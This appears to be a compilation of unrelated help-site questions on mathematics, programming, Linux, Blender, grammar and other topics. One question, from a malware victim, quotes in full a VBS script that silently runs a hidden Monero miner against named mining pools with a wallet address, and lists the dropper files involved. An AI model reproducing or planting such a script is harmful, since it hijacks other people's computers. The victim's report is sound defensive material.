Here is a lemma about quasicentral-approximate-unit:  Lemma 7.3.1Let $J\triangleleft A$ be a separable ideal. Then there exists a quasi-central approximate unit $\{e_{j}\}\subset J$ such that $e_{j+1}e_{j}=e_{j}$ for all $j\in \mathbb{N}$. Proof. Since $J$ is separable, it contains a strictly positive element $h$ (i.e., $\phi(h)>0$ for all states $\phi$ on $J$-let $h=\sum\frac{1}{2^{j}}e_{j}$ where $\{e_{j}\}$ is any approximate unit). For each $n$ let $f_{n}\in C_{0}(0, 1]$ be the function which is zero on the intercal (0, $\frac{1}{2^{n}}]$, one on the intercal [$\frac{1}{2^{n-1}}$, 1] and linear in between. Evidently we have $f_{n+1}(h)f_{n}(h)=f_{n}(h)$, for all $n$, and it is also readily seen that $\phi(f_{n}(h))\rightarrow 1$ for all states $\phi$ on $J$. The usual Habh-Banach convexity argument allows us to extract a quasicentral approximate unit from  the convex hull of $\{f_{n}(h)\}$, so we leave the remaining details to you.  My question is In the end of the proof, how to usethe Hahn-Banach convexity argument to find a quasicentral approximate unit?


How do you show the path of the current running python module? Which would print /Users/user/documents/python/bla.py if bla.py was placed in /Users/user/documents/python/.


My advisor wants me to include a name of someone who has no contribution to the paper

My first advisor wants me to include my second advisor's name in a paper that I worked on before she (2nd advisor) came along.   Should I include her name even though she didn't do anything in that paper? I don't think she even read it.


I'm trying to find out how accurate percentile is. I have used scipy.stats to calculate the rank of percentile. However, it doesn't match the one I have coded.  I have a few questions. Say 25th percentile. Does it mean, equal or below 25th percentile or below 25th percentile? Now please have a look at the code and I will try to explain why I am confused.  import numpy as np from scipy import stats  def percentile_score(arr, n):     o = 0     for a in arr:         if a <= n:             o += 1     return np.round(o / len(arr) * 100, 2)  def percentile_test(min_val, max_val, total, seed=0):     if seed > 0:         np.random.seed(1)     r = np.random.randint(min_val, max_val+1, total)     p1 = percentile_score(r, 1) # calculate percentage of <= 1     p2 = percentile_score(r, 2) # calculate percentage of <= 2     p3 = percentile_score(r, max_val) # calculate percentage of <= max     print("Min / Max                    : {} / {}".format(np.min(r), np.max(r)))     print("#1 count vs percentile       : {}% vs {}%".format(p1, stats.percentileofscore(r, 1)))     print("#2 count vs percentile       : {}% vs {}%".format(p2, stats.percentileofscore(r, 2)))     print("Number #50 probability (<=)  : {}% vs {}".format(p3, stats.percentileofscore(r, 50)))  percentile_test(1, 50, 1500, seed=1)   OUTPUT  Min / Max                    : 1 / 50 #1 count vs percentile       : 2.13% vs 1.1% #2 count vs percentile       : 3.8% vs 3.0% Number #50 probability (<=)  : 100.0% vs 99.26666666666667   If percentile necessarily means <=, then #50 must be 100% if it means <, in this case #1 must be 0  Also the calculations I have found don't match with the expected value. What am I  missing here?


Im making a simple model. I have added subsurface and mirror modifier. Im getting a divider or partition line between 2 mesh. I have on the clipping and merge in the panel. How can i dissolve the divider or partition line between. Any suggestion. Thanks (Please do not tag duplicate plz reply with comment or answer)


What would you do with the following QQ-plot?

I'm using this data set:  and regressing chlorides on nine predictors (all except residual sugar and quality). I have Box-Cox transformed the response and removed three potential outliers (which did nothing), and now I still have a QQ-plot with heavy tails.  The data set comes from one place in Portugal using the same grapes (red wine only), so I can't really differentiate the data. Is there something that I can do?


So I just started working with Blender 2.6 and the two books I have don't really discuss how to modify objects other than "here's edit mode..."    What I have is two cylinders with one slightly smaller than the other and protruding out of the larger one.  I need to "fillet" from the larger cylinder to the smaller one.  I decided to create a cone with the same diameter as the larger cylinder which then protrudes through the smaller one giving the illusion that the larger cylinder is reducing to the size of the smaller one.  Of course the problem is that the cone continues through and extends beyond the smaller cylinder.  My thought was to just cut a section off of the cone that lies inside the smaller cylinder.  Unfortunately my two books don't really cover doing anything like that.  So any suggestions would be greatly appreciated!


Where does the energy that release when bond is formed between two atoms come from?

When two atoms attracted to form bond, energy is released. But where does this energy comes from. Is this energy released when electrons goes to their ground state or somewhere else?


How do I migrate my Windows desktop to a VirtualBox VM?

I have VirtualBox 4.3.6 and True Image 2014 Premium with Universal Restore. I've read a lot about different methods but I'm not sure where to start, or what will suit my needs.  Directly from  wiki:     Windows installations, unlike Linux, cannot easily be moved from one   hardware to another. This is not just due to Microsoft's activation   mechanism but the fact that the installed kernel and drivers depend on   the actual hardware.   This is where Universal Restore could come in handy. It is a feature of True Image that allows backups to be restored to dissimilar hardware.  I want a complete disk image backup of the system disk created with True Image before I do anything. I will then reformat the system disk. And then, instead of reinstalling Windows or restoring it from backup on the host, I would like to have it restored VirtualBox.  Is it possible to go from TIB (True Image Backup) to VDI (Virtual Disk Image)? If not at all possible, can I image the system disk (with current Windows install) with another tool and have it create a VDI image?  Then there is the Sysinternals Disk2vhd v2.01 by Mark Russinovich and Bryce Cogswell. But it creates a VHD image, rather than VDI image. There is also a limitation on how big the image can be.  Directly from  website:     Disk2vhd is a utility that creates VHD (Virtual Hard Disk -   Microsoft's Virtual Machine disk format) versions of physical disks   for use in Microsoft Virtual PC or Microsoft Hyper-V virtual machines   (VMs). The difference between Disk2vhd and other physical-to-virtual   tools is that you can run Disk2vhd on a system that’s online.      ...      Virtual PC supports a maximum virtual disk size of 127GB. If you   create a VHD from a larger disk it will not be accessible from a   Virtual PC VM.   My system disk is 190 GB. Is there an option inside this tool that would allow me to compress it to less than 127 GB? If not then I don't see how to do it, and I would rather not use VHD format anyway.  Can someone give me some pointers? How do I do this?


Layers with same CRS not projecting correctly in QGIS

In QGIS, I have multiple layers that are not lining up, despite the fact that I have enabled "on the fly" projection and clicked "Save As" to reproject specific layers to CRS EPSG: 26915 (NAD83/UTM zone 15N). I've also tried "Define Current Projection" from "Geometry Tools." No matter what I do, I can't seem to get layers to line up. The oddest part about it is that about half of my shapefiles line up in one part of the map, and the other half line up in a completely different part. All of the previous questions I have found on this topic have not helped me solve this issue, or I'm too dense to understand.  The layers I'm working with are a variety (polygon, point and line), as well as .shp and .kml.


I can see two broad patterns as far as the design of the search field is concerned. One like we see on Google has a button that the user can hit to initiate Search. (They could also hit enter to do so)  The other pattern much like what is on this site (stackexchange) do not have a button. So the only way the user can initiate search is by hitting enter.   Has anyone done any research or analysis of this pattern ? What I have noticed is that search fields without the explicit search button (that normally is a magnifying glass) have "Search" as placeholder text, left aligned, whereas when there is no button the placeholder is usually a "Magnifying glass icon" with "Search" all left aligned.


Why are "People" different between macOS and iOS Photos?

I had assumed that macOS and iOS photos would be synchronized through iCloud (assuming all iCloud features are enabled) but the people I see in "People" on iOS are not the same as the ones I see on macOS.  As of today, iOS has spent days finding people and has nearly completed the process, but when I look in Photos on macOS, I see two contradictory things, neither of which is very comforting:   Photos on macOS says it is just starting to scan for people, even though the process on iOS is nearly complete, and Photos on macOS shows a different but larger set of people (with different photos, completely different numbers, and names, connected to contacts, which iOS lacks).   This is unexpected, since Photos is synced through iCloud.  What's going on here:   Why do Photos need to be scanned again for faces on macOS, even though they've already been scanned on iOS? Why are there already Faces in macOS; and why are they different? Why isn't iOS aware of the name sand contact entries associated with the people they do share (at least by actual person)?   Why are "People" different between macOS and iOS Photos (and )?


Let $T_n$ be a random variable with $T_n=X_1+...+X_n$ where the $X_i$'s are iid. Further we set $N(t)=max\{ n: T_n\leq n\}$ with the property $\Pr(N(t)<\infty)=1$.  I want to prove that $\mathbb{E}[N(t)]<\infty$.   I have done this so far. Let $F_n$ be the distribution function of $T_n$. $$\mathbb{E}[N(t)]=\sum_{n=1}^{\infty} n P(N(t)=n)=\sum_{n=1}^{\infty} n (F_n(t)-F_{n+1}(t))=\sum_{n=1}^{\infty} F_n(t)$$  Further I know that $0 \leq F_n \leq 1$. But does this implies $\mathbb{E}[N(t)]<\infty$ ? I don't think so... I don't know what I can do further...   Can anybody help me how I can proof it?   Thank you for any help!!!


I have encrypted passwords specific to each environment. It has some special characters. Below is one sample from development environment (which has forward slash)      $$Param_INFA_USER=USR_DF     $$Param_INFA_PASS=1OFR6pSbNq/yvLtpxHbC9E9KvloTj5tRGpzr9dCMD7E= v_prst_pwd=`grep -i "\\$\\$Param_INFA_PASS" param_file.parm` | tr -d ' ' v_lbl_pwd=`grep -i "\\$\\$Param_INFA_PASS" param_file.parm | cut -d '=' -f1` sed -i 's/'$v_prst_pwd'/'$v_lbl_pwd'='$envspfc_pwd'/g' param_file.parm sed -i s/$$Param_INFA_PASS=**1OFR6pSbNq/yvLtpxHbC9E9KvloTj5tRGpzr9dCMD7E=**/$$Param_INFA_PASS=ABC/g param_file.parm   I am trying to replace passwords and got below issue.  sed: -e expression #1, char 74: unknown option to `s'   How to escape special characters when replacing a string which is a  variable (not aware of position of special characters).


I'm considering buying  for my next semester of college. It's an Acer Aspire 5 A515-54-51DJ. I want to erase Windows 10 and install Ubuntu for my OS. I would also consider dual-boot, but would rather not. Before spending $500+, I want to make sure I can install Ubuntu on the hardware. I've searched the web (mainly Acer community and this site), but I can't find an answer.  I would appreciate an answer, links to helpful sites where I might find an answer, or a list of general specifications of what you need to run Ubuntu on a laptop. An answer is best, though.  Thanks!


Does the logarithm function grow slower than any polynomial?

Does $f(x)=ax^b$ grow faster than $g(x)=\ln x$ for all $a, b > 0$? Can I say that $f(x) > g(x)$ as $x$ approaches infinity?  I thought the answer is yes, but this graph appears to be telling a different story.    Is the polynomial (the green curve) going to cross the log function (the red curve) and exceed in value for some large value of x?  If the answer is yes, does it mean that if I subtract the two functions and set it to zero, the resulting equation will have two roots? What are the roots?


MKV Video files are not paying properly.  SM player  only plays the audio, not the video.  Please hep.


Use of "is" versus "are" in a particular case

I need some help, because this is confounding me. I have the following sentence:  "The second column of leaves are to be submerged in distilled water (set DS)."  When I run this sentence through Microsoft Word's spell checking, along with other spell checking services, they say to correct "are" to "is". This seems wrong to me, but I am no professional. Would I correct it to "is", or keep it at "are".  The reason why I am asking on here is because this sentence seems to me to be some "exception" to the are versus is rules. If anyone could help me, I would appreciate it.  -Thanks


Where are filenames stored on a filesystem?  It's not in inode or with the actual file content since we have hard link that two filenames can point to the same inode.


Proof a different generalized derivative form

Prove that:   $$f'(x)=\lim_{h,k\to 0^+}\frac{f(x+h)-f(x-k)}{h+k}.$$  The denominator is the issue. I thought of $u = h + k$ but that created an issue  for the limit bounds. I tried adding and subtraction $f(x)$ in the numerator but the denominator causes issues.  Only hints, please.


Free LaTeX editor for Mac with outline view?

I'm looking for a LaTeX editor for Mac OS X that supports larger projects, so should have some form of outline view showing the logical structure of a larger project that extends across many files.  Is this possible with TeXShop?  If not can you recommend another editor, that is free?


Is it theoretically possible to construct a string that contains its own hash value?

After saw the xkcd comic , I wonder if it is theoretically possible to construct a self-descriptive string that contains its own hash value?  Let's say the string's MD5 value is 663ef7d3f38cf900574cd4d9f83eb1b7, the string would be something like:  ... The md5sum value of this file is 663ef7d3f38cf900574cd4d9f83eb1b7 ...


Something specific or a specific something ,which one to use?

As in the title , I want to know which one of these sentences is correct and why?   I want to do something specific. or I want to do a specific something.


What are some major open problems in Galois theory?

Few days back one of my friend and I were discussing about Galois life and his ideas. Though we are not trained in Galois theory, but I am recently started to learn it by myself and hope to take up research on it some times soon. So I am wondering about the open problems in Galois theory? Is there any? Please add a reference to it. Thanks.


Why does a Ball bounce back if Forces are Equal and Opposite?

When a ball is thrown onto a wall, the ball exerts a force onto the wall. According to Newton's Third Law, the wall will exert an equal and opposite force to the ball. Thus, how would the ball be able to bounce back? Shouldn't it just slide down the wall?


Can't Retrieve Data from Firebase in Android Studio

I'm  trying to retrieve data from my Database but the app kept crashing with an exception java.lang.String com.google.firebase.auth.FirebaseUser.getUid()' on a null object reference    public class SettingsActivity extends AppCompatActivity {     private DatabaseReference mDatabase;     private FirebaseUser mCurrentUser;     FirebaseDatabase database = FirebaseDatabase.getInstance();      @Override     protected void onCreate(Bundle savedInstanceState) {         super.onCreate(savedInstanceState);         setContentView(R.layout.activity_settings);          mCurrentUser = FirebaseAuth.getInstance().getCurrentUser();           mDatabase = FirebaseDatabase.getInstance().getReference().child("Users").child(mCurrentUser.getUid());          mDatabase.addValueEventListener(new ValueEventListener() {             @Override             public void onDataChange(@NonNull DataSnapshot dataSnapshot) {                 Toast.makeText(SettingsActivity.this, dataSnapshot.toString(), Toast.LENGTH_SHORT).show();              }              @Override             public void onCancelled(@NonNull DatabaseError databaseError) {              }         });      } }     This is my MainActivity, If the User is not Registered it will send him to StartActivity where he can either create an account or Login to an existing Account     @Override     public void onStart() {         super.onStart();         // Check if user is signed in (non-null) and update UI accordingly.         FirebaseUser currentUser;         currentUser = mAuth.getCurrentUser();         if (currentUser == null){         sendToStart();         } }      private void sendToStart() {         Intent startIntent = new Intent(MainActivity.this, StartActivity.class);         startActivity(startIntent);         finish();     }     And this is my LoginActivity where Users can login to there existing accounts and return to the MainAcivity   String email = mEmail.getText().toString();                     String password = mPassword.getText().toString();              if (!TextUtils.isEmpty(email) || !TextUtils.isEmpty(password)) {                 signIn(email, password);             }else{                 Toast.makeText(LoginActivity.this, "Please fill the form correctly", Toast.LENGTH_SHORT).show();             }         }     }); }  private void signIn(String email, String password) {     mAuth.signInWithEmailAndPassword(email, password)             .addOnCompleteListener(new OnCompleteListener<AuthResult>() {                 @Override                 public void onComplete(@NonNull Task<AuthResult> task) {                     if (task.isSuccessful()){                         FirebaseUser user = mAuth.getCurrentUser();                          Intent main_intent;                         main_intent = new Intent(LoginActivity.this, MainActivity.class);                         main_intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);                         startActivity(main_intent);                     }else {                         Toast.makeText(LoginActivity.this, "Login Failed Pls Check your Details and try again", Toast.LENGTH_SHORT).show();                     }                 }             });   Above is my code. Can someone help out, please?


Why is find not accepting '-exec cp {} dir +'?

I have a directory, dir1 which contains many files whose names end in either .jpg or .png. I want to copy all the .png files to dir2 which is empty.  This command works:  find dir1 -name '*.png' -exec cp {} dir2 \;   but this command doesn't:  find dir1 -name '*.png' -exec cp {} dir2 + find: missing argument to `-exec'   I also tried:  find dir1 -name '*.png' -exec cp {} -t dir2 + find: missing argument to `-exec'   and:  find dir1 -name '*.png' -exec cp {} dir2 \+ find: missing argument to `-exec'   After looking at , I even tried:  find dir1 -name '*.png' -exec cp {} dir2 {} + find: Only one instance of {} is supported with -exec ... +    says that:     -exec {} + was added in [version] 4.2.12 in 2005   My version of find is 4.4.2.  What am I doing wrong?


When would you rather use one over the other?

Thank you so much all for supporting and wrote back to my previous question?  They are 15-year-old girls  They are 15-year-olds


Derivation of the general forms of partial fractions

I'm learning about partial fractions, and I've been told of 3 types or "forms" that they can take  (1) If the denominator of the fraction has linear factors:  $${5 \over {(x - 2)(x + 3)}} \equiv {A \over {x - 2}} + {B \over {x + 3}}$$  (2) If the denominator of the fraction has quadratic factors that don't factorise:  $${{2x + 3} \over {(x - 1)({x^2} + 4)}} \equiv {A \over {x - 1}} + {{Bx + C} \over {{x^2} + 4}}$$  (3) If the denominator has a factor that repeats:  $${{5x + 3} \over {(x - 2){{(x + 3)}^2}}} \equiv {A \over {x - 2}} + {B \over {x + 3}} + {C \over {{{(x + 3)}^2}}}$$    I'd appreciate it if someone could explain to me how these equivalence relationships are derived, essentially how do they take the forms that they do? I sort of understand the first one, but the other two I don't.  Thank you


Setting beamer color in region between title bar and canvas

How does one control the color of the region between the title bar and the canvas in beamer? When the color of the background canvas is darkened there is a white bar between title and canvas. MWE follows along with image.  \documentclass[ ]{beamer}  \usetheme{Warsaw}  \title{Footer right} \author{Footer left}  \begin{document}  {\setbeamercolor{background canvas}{bg=black}  \section{First Section}  \begin{frame}   \frametitle{Frame Title}   \color{white}{Remove white bar beneath title} \end{frame}}  \end{document}


Built-in disc burning software in Windows 10

I upgraded from Windows 7 to Windows 10 recently, and am looking to burn some .iso files. In Windows 7, there was a default program that I could use. I have dug around a bit, but cannot find one in Windows 10 so far. Although, a bunch of search functionality seems to be disabled on my machine, so I may just be searching incorrectly.  Is there a disc image burning program bundled in Windows 10 like there was in Windows 7?  Image of what I see:


Calculate:   $$\lim_{n\to\infty} \frac{ (1^{1^p}2^{2^p}\cdot...\cdot n^{n^p})^{ 1/n^{p+1} }}{n^{1/(p+1)}}$$   I've done some steps as follows: $$a_n:=\frac{ (1^{1^p}2^{2^p}\cdot...\cdot n^{n^p})^{ 1/n^{p+1} }}{n^{1/(p+1)}} \iff \ln a_n=\frac{1}{n^{p+1}}\big(\sum_{k=1}^nk^p\ln k-\frac{n^{p+1}}{p+1}\ln n\big) \iff \\\ln a_n =\frac{1}{n}\sum_{k=1}^n\big[\big(\frac{k}{n}\big)^p\ln \frac{k}{n}\big]+\frac{1}{n}\sum_{k=1}^n\big(\frac{k}{n}\big)^p\ln n-\frac{\ln n}{p+1}.$$ Then, I was wondering if I could make some integrals out of it but still there are some odd terms.   I think my approach isn't so good...


Are the results for Winterbash 2014 still up anywhere? Specifically the network-wide and individual site results? Some of us on travel.SE were trying to remember how many of each were achieved.  (EDIT) the linked dupe question shows the results for 2013 only. I'm specifically after last year's results.


Continous spectrum of black body radiation

I am wondering why black body emission spectrum is continous. Assuming only quantum effects that is electrones falling to less energetic orbitals it should be discrete. Is the continous part emerging classically from oscilating charges?   @lionelbrits your answer is too high level for me. Let me rephrase my question. Let consider black body appproximation like a star. I understand why the ideal black body radiates continous spectrum (charged oscilators on springs). But I cannot connect this picture to the quantum view of atoms and how they emit radiation - that is through emitting photons with energy equal to the difference between two energy levels.  How this (discrete emission):    Can lead to that(continous spectrum)


Can we create Arch Linux packages from Debian packages securely?

I have made a very simple terminal game:   I have also created the Deb file.  We surely can move the source code to /usr/bin/ directory and the word file to /usr/share/t-hangman on any Linux system to get the source code running.  But the problem is that installing dependency (only Ruby) manually, and also moving the source code, changing permissions to 755 and setting root as owner may be confusing to some people.  Can I convert the Debian package into Arch Linux tar.gz package securely so that we can run pacman -U t-hangman-v3.0.tar.gz and install it?  EDIT:  A stackexchange post suggests using dpkg on Arch Linux - I think that's not a good choice, in fact the uploader of dpkg forbids "The Debian Package Manager. Don't use it instead of Arch's 'pacman'."


Task scheduler : How to detect that a usb device is unplugged?

I want to launch a Powershell script when a usb device is unplugged. To accomplish that I would like to use a scheduled task but I don't know what event trigger I should use.  I already know that to detect when a USB device is plugged in, you have to use the following event trigger : (in Event Logs) Application and Service Logs/Microsoft/Windows/DeviceSetupManager/Admin but I am looking for the event trigger to use to detect when the device is unplugged.


This had been troubling me for quite some time. I use Stack Overflow mainly for answering questions and learning through them, rather than asking my own. I try hard to help the question askers until they get their problem solved. However, this sometimes get us quite far from where we started. Such situation happened once more yesterday and I decided it is high time to ask and get better understanding how far should I go when answering. See . How it went:  After about a dozen comments we managed to format the question in understandable enough form. So far so good, this should be done for every question The question was why my images do not show. I answered this. Then the question became: how do I show my images then? I answered this with a bunch of code. Then the question became: how do I show my images vertically. I answered this too, but without giving explicit code. Then the question became: I get the following error, please help. At this point I decided not to take it any further and not make several more comments just to get what actually is the problem in the code now.  I have also couple of such cases with my friend @Sabre. This  and this . The two include more than 50 comments and we have passed through more than 6-7 different errors. And the reason here was that the OP lacked some very basic understanding of the language at hand (). After all this examples you should be able to understand my situation. Finally the question once more: How persistent should I be when answering questions? How do I handle situations with new questions coming in the old thread?


(No Action Needed), (I'm Done) & (Skip) buttons are not working on click after scrolling down due to overlapping

I found UI overlapping issue here   And Top-Right side all three buttons are not working on click after scrolling down due to z-index or overlapping issue.


Canonical seems to have deleted flash player. Where can i download (from terminal or browser and install myself with sudo) for Ubuntu 14.04 LTS  i uninstalled as some live sport site was not wwortking, then tried :   sudo apt-get install adobe-flashplugin   Error I got :     upgraded, 2 newly installed, 0 to remove and 413 not upgraded. Need   to get 8,958 kB of archives. After this operation, 31.1 MB of   additional disk space will be used. Do you want to continue? [Y/n] y   Err  trusty/partner adobe-flashplugin   i386 1:20170411.1-0ubuntu0.14.04.1   404  Not Found [IP: 91.189.92.150   80] Err  trusty/partner   adobe-flash-properties-gtk i386 1:20170411.1-0ubuntu0.14.04.1   404    Not Found [IP: 91.189.92.150 80] E: Failed to fetch      404  Not Found [IP: 91.189.92.150 80]      E: Failed to fetch      404  Not Found [IP: 91.189.92.150 80]      E: Unable to fetch some archives, maybe run apt-get update or try with   --fix-missing? t@t5:~$


What is the category name for words like notwithstanding, forthwith, etc...?

These words all have something in common: heretofore, forthwith, notwithstanding, therefore, etc... what are these kinds of words called? And where can I find a list of them?


Proving that $(k + 1) \mid \binom{n}{k}\binom{n+1}{k}$ for positive integers $n, k$

I've been playing around with some binomial coefficients and their divisibility, and I stumbled upon a relation that seems to hold, at least for $0 < k < n < 200$ (checked with Python): $$ (k + 1) \mid \binom{n}{k}\binom{n+1}{k}. $$ I initially thought that the following reasoning would work. Since $\binom{n}{k}$ has $k$ terms in the numerator, the only way that there is no multiple of $(k+1)$ in the numerator of $\binom{n}{k}$ is when $n \equiv -1 \pmod{k+1}$. But then $(k+1)\mid(n+1)$, so there is a multiple of $(k+1)$ in the numerator of $\binom{n+1}{k}$. Unfortunately, I'm not sure if showing that there is a multiple of $(k+1)$ in the numerator of the expression is sufficient for all values of $k$. It definitely works when $(k+1)$ is prime, but if not, there is the possibility that the designated multiple of $(k+1)$ is canceled out by other terms in the denominator. So: is there a way to patch up this argument, or could this statement be proven by entirely different means? (Bonus brownie points if there's a combinatorial argument.) Thanks!


Does attacking with an improvised weapon using a magic item count as a magical attack?

Inspired by the recent question: ""  Answers there are basically debating whether improvised attacks with magic items count as magical attacks when perhaps there are options besides improvised attacks with magic items to accomplish that goal.  To hopefully get at something there, I'm asking this separately; I'm wondering whether an improvised attack made using a magic item (like a broom of flying or even throwing a ring of spell storing) actually counts as magical and thus overcomes resistances to non-magical attacks/damage.   Note that the other question asks about any way to accomplish having improvised attacks count as magical, and I'm asking whether this specific method works (instead of having it be disagreed upon in answers over there).


I need a single Wordpress installation to be available from both the main domain (www.example.com) via HTTP and a subdomain (secure.example.com) via HTTPS.  Of course i can just map the subdomain to the Wordpress folder in Nginx config. But will Wordpress be aware that it is called via HTTPS and change all links on the pages to HTTPS ?  Also, how i can i force certain pages to be automatically redirected to their HTTPS equivalent permalink (and then back again to HTTP) ?


I was asked this question at an interview and had no answer. Can anyone here explain?


How to solve $\lim_{x \rightarrow 0} {\frac{(1+x)^a-1}{x}}$?

How to solve this limit without using L'Hospital rule?  $$\lim_{x \rightarrow 0}{\frac{(1+x)^a-1}{x}}$$


My computer is infected from mining virus and giving me Windows script host error

The first error that I have got was Windows Script Host error described as C:\Windows\xdgaudio.vbs   When I have located to the file the content was  Dim WShell Set WShell = CreateObject("WScript.Shell") WShell.Run "wmipvrse.exe -B --donate-level 1 -r 100 --threads 16 --cpu-priority 2 --cpu-affinity 2 -a cryptonight -o stratum+tcp://xmr-eu.dwarfpool.com:8005 -u 42Mn2UkbubgBDSa4sk4p4GHfN1nfxw2nURQ5NQWT9xYnFiLzTYGPawKEWeQ7oG4eqiHbmvt7wqJD4bSyBzQJ7rk75aVKgRv.App -p x -k -o stratum+tcp://mine.moneropool.com:3333 -u 42Mn2UkbubgBDSa4sk4p4GHfN1nfxw2nURQ5NQWT9xYnFiLzTYGPawKEWeQ7oG4eqiHbmvt7wqJD4bSyBzQJ7rk75aVKgRv -p x", 0 Set WShell = Nothing   After seeing this and locating the mining server on line 3 I came to know that I have been a victim of some virus and this is some mining virus.  Steps I have taken to resolve this.   Did a deep windows defender scan (Got nothing) Did a scan using  (Got nothing) Commented all the VBS script xdgaudio.vbs so that it does not execute. Navigated to wmipvrse.exe located at C:\Windows\System32\wbem and found out that this is windows service I have not deleted it but renamed it to something else after taking ownership so that it does not start again.   After doing the above steps the errors are gone  IDK that for how much time I have been infected with this virus and how did this get into my computer.     My question to the community is to tell me whether I am saved from this   virus and what further steps should I do to remove this and other   viruses like this completely and how to know whether there are other   viruses like this?   If you need any other details you can ask in the comments.  Thank you.  The script error that was first displayed was this.    UPDATE:  Figured it out!!  Short answer: Delete "servicecrsssr.vbs" file from your Windows directory, then reboot.  (I actually PULLED THE PLUG, despite the danger of file loss/corruption, to avoid the possibility of the program attempting to rewrite any offending files during the shutdown process.)  A number of other files are involved, but upon deleting (or renaming) the file above and rebooting all was well... no evidence of the mining process running.  I caught this virus on TWO of my test computers.  These were the only computers I connected my customer's infected drive to via USB.  It's STILL a mystery exactly how this thing propagates!  The other files which seemed to be involved were:  \Windows\winprs.bat \Windows\winvpr.vbs \Windows\winvprse.bat \Windows\xdgaudio.vbs \Windows\Prefetch\WMIPVRSE.exe-xxxxxxxx.pf   The *.pf file rewrites itself with new random characters in place of the "x"'s if you rename or delete it and reboot - with no ill effect that I can determine.  On my first infected machine, I renamed ALL of the files above, rebooting after renaming each one.  The last file I tried was "servicecrsssr.vbs".  On the second infected test machine, I only renamed the "servicecrsssr.vbs" file and rebooted, then all was well.  Please let me know how this works out for you. Thanks!  Special thanks to


Find hardcoded Strings in legacy application

I inherited a Java-Application with many many hardcoded Strings that should have been localized. THe code-base is huge and I need an overview about all the used hardcoded String values in the code. Is there a tool (or an IDE-function; I use Eclipse and IntelliJ IDEA) that extracts all strings from Java-classes?


I'm struggling to make the below shape in illustrator:    Rounded corner rectangles are easy but I'm not sure how to round the sides easily as well. I would want these shapes to be easy to re-size ideally. Can anyone nudge me in the right direction?


Installed on external HDD, now need to get rid of extra boot options

I have recently installed Ubuntu on my external hard drive, but now I have boot options I cannot delete!  My external drive is unplugged. How can I delete them?


When should I use "do" like this: "...but very rarely DO you get to see inside the box"?

From the sentence:  They are nice and flashy on the outside, and they tell you all the great things that are inside but very rarely do you actually get to see inside the box.  I feel natural that the "do" is placed here, but what is this situation called and how do I know when to use it?


This is NOT a duplicate question and I don't know why it is marked as one. This is a follow-up to a previous question asked here...  It seems that if (as per ZFC) we define sets as never containing themselves Russell's paradox goes away. Do other problems arise? (The system tells me this has been answered, but I beg to differ) EDIT: Perhaps I'm asking whether there is ever a need to define sets as being able to contain themselves, and if so what is the reason.


Opening/moving focus to layout in ArcGIS Pro using ArcPy

I have an ArcGIS Pro project which contains multiple layouts.  I've got a Python toolbox with a script which, among other things, chooses which of the layouts is appropriate for a specific map.  At the end of the script, I would like the selected layout to open (if it isn't already), and have ArcGIS Pro move the 'focus' to the chosen layout. (i.e. if the layout is open but in a tab which is not in the front, I would like it to move to the front. 'Focus' might not be the right word to describe this.)  I've looked through the ArcGIS Project object, and the layout object, without finding anything which will do this.


There is a sign at my work that says "Join the fight for Alzheimer's first survivor" and I am wondering about the use of "Alzheimer's" here. They are not reffering to a survivor of Alzheimer, they are referring to a survivor of Alzheimer's disease and using Alzheimer's as a short form of the disease. What would the possessive form of Alzheimer's be? I don't think it should be Alzheimer's's but i also don't think that it is correct as is. When searching for "double possessive" rules I can only find articles saying to avoid phrases like "St Paul's Cathedral's arches" is the only correct form to rearrange the syntax to be "Join the fight for the first survivor of Alzheimer's?"


I have canon EOS 600D and also I have following lenses:    18-55mm 55-250mm 40mm f/2.8   How do I select correct exposure.  what is the sequence of priory.  currently I first changing the iso, aperture and finally I change the shutter speed.  this is correct sequence or not?  please let me know if it is wrong.


Proofs with limit superior and limit inferior: $\liminf a_n \leq \limsup a_n$

I am stuck on proofs with subsequences. I do not really have a strategy or starting point with subsequences.   NOTE: subsequential limits are limits of subsequences  Prove: $a_n$ is bounded $\implies \liminf a_n \leq \limsup a_n$   Proof:  Let $a_n$ be a bounded sequence. That is, $\forall_n(a_n \leq A)$.  If $a_n$ converges then $\liminf a_n = \lim a_n = \limsup a_n$ and we are done.  Otherwise $a_n$ has a set of subsequential limits we need to show $\liminf a_n \leq \limsup a_n$:  This is where I am stuck...


What is the soonest that major US federal income tax law changes normally take effect?

If the US Congress passes major changes to federal income tax laws, such as new income tax rates, what is the soonest that those changes would normally take effect? Would it be the same year, if passage were early enough in the year? How early in the year would it have to be? Or would it normally take effect the following year?


Why does the definition of limits of a function have strict inequality?

Definition (As written in Michael Spivak's Calculus)     The function $f$ approaches a limit $l$ near $a$ means: for every $\epsilon >0$ there is some $\delta > 0$ such that, for all $x$, if $0<|x-a|<\delta$, then $|f(x)-l|<\epsilon$.   my question is: why can't it be: $$0<|x-a|\leq \delta,|f(x)-l|\leq \epsilon$$ After looking at limits of functions for a long time just to grasp it's meaning and using the definition quite a lot solving homework I realized I keep writing the same inequality without really understanding why.  The only explanation given in Spivak's book for this part of the definition goes over it without explaining the inequality. I tried looking for an explanation myself but wasn't really able to find anything wrong with it. Is it also possible to write the definition like that or is there a problem with that?   (first non-homework related question :p)


Using Hibernation in Ubuntu 19.04 (not enough swap file)

So I'm trying to hibernate my Ubuntu laptop, using sudo systemctl hibernate, in turn it says "Failed to hibernate system via logind: Not enough swap space for hibernation".  I already tried this before, so before using hibernate, I set up different swapfiles to accomodate the RAM my laptop has (8G), overall my total swap space (from free -h) is               total        used        free      shared  buff/cache  Mem:          7.7Gi       2.7Gi       4.4Gi       135Mi       741Mi Swap:          16Gi       1.4Gi        14Gi  So is there any difference between swapfiles and swap partitions? Is there any more settings I can do to properly hibernate?  As a side note, I tried installing pm-utils and use pm-hibernate, the system hangs for a moment, the screen turns off, but then it would turn back on and resume as normal, (probably because also of the lacking swap space).  Is there a step I forgot or whatever?  EDIT: Related screenshot,


